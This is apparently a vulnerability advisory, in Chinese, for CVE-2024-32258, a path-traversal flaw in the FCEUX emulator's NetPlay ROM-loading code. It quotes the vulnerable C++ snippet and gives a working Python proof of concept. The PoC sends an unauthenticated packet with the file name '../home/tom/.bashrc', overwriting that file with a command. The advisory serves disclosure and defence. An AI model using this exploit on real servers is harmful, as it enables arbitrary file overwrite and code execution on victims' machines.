FCEUX 是一款 NES 模拟器,能将我们带回童年时光。它提供了多种有趣的功能,例如支持两名玩家在线联机游戏。
服务器和客户端可以互相传递 ROM,但服务器并未过滤客户端发送的 ROM 名称中的特殊字符。此路径遍历漏洞可导致服务器上的任意文件被覆盖。更严重的是,远程加载 ROM 无需身份验证,即使服务器设置要求密码登录也是如此。
该问题是在提交 798c5a1d9c73b899cdbe3d613c0022588281979f 中引入的 - 为 NetPlay 增加了客户端请求加载 ROM 的功能。
if (acceptRomLoadReq)
{
FILE *fp;
std::string filepath = QDir::tempPath().toLocal8Bit().constData();
const char *romData = &static_cast<const char*>(msgBuf)[ sizeof(netPlayLoadRomReq) ];
filepath.append( "/" );
filepath.append( msg->fileName );
printf("Load ROM Request Received: %s\n", filepath.c_str());
//printf("Dumping Temp Rom to: %s\n", filepath.c_str());
fp = ::fopen( filepath.c_str(), "w");
if (fp == nullptr)
{
return;
}
::fwrite( romData, 1, msgSize, fp );
::fclose(fp);
FCEU_WRAPPER_LOCK();
LoadGame( filepath.c_str(), true, true );
FCEUI_SetEmulationPaused(EMULATIONPAUSED_PAUSED);
FCEU_WRAPPER_UNLOCK();
resyncAllClients();
}
msf->fileName 和 fp 均由攻击者指定。
你可以通过编译源代码获取 fceux,也可以直接使用我们编译好的二进制文件。fceux.zip
PoC
import socket
import binascii
client = socket.socket(family=socket.AF_INET, type=socket.SOCK_STREAM)
client.connect(('192.168.17.131', 4046))
header = "aa55aa55aa55aa550000000a00000204000000f0"
file_name = '../home/tom/.bashrc'
padding1 = '\0' * (256 - len(file_name))
nes_content = "gnome-calculator\n"
padding2 = '\0' * 0x100
client.send(binascii.unhexlify(header) + (file_name + padding1 + nes_content + padding2).encode())
res = client.recv(1024)
print(res)
packet = "0000000000000000000000000800450000641108400040062b8a7f0000017f000001cd340fcee511e70e3cfc427080180200fe5800000101080a94ee338594ee3382aa55aa55aa55aa5500000028000000300000000100000001000000000000000000000000000000000000000000000000"
client.send(binascii.unhexlify(packet))
res = client.recv(1024)
print(res)
祝玩得开心!😄
https://github.com/liyansong2018/CVE-2024-32258/assets/25031216/2c237254-3ff8-4690-b0ea-d413f6e8c48d
高危 8.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Yansong Li 和 Yijie Xun(西北工业大学)
| CVSS3.1 | 评分 | 详情 |
|---|
| 攻击向量 | 网络 | 通过网络发起攻击 |
| 攻击复杂度 | 低 | 只需发送两条消息 |
| 所需权限 | 无 | 发送攻击数据包无需任何权限 |
| 用户交互 | 需要 | 点击确认按钮以加载 ROM。 |
| 影响范围 | 不变 | 不适用 |
| 机密性 | 高 | 任意文件覆盖 |
| 完整性 | 高 | 任意文件覆盖 |
| 可用性 | 高 | 任意文件覆盖 |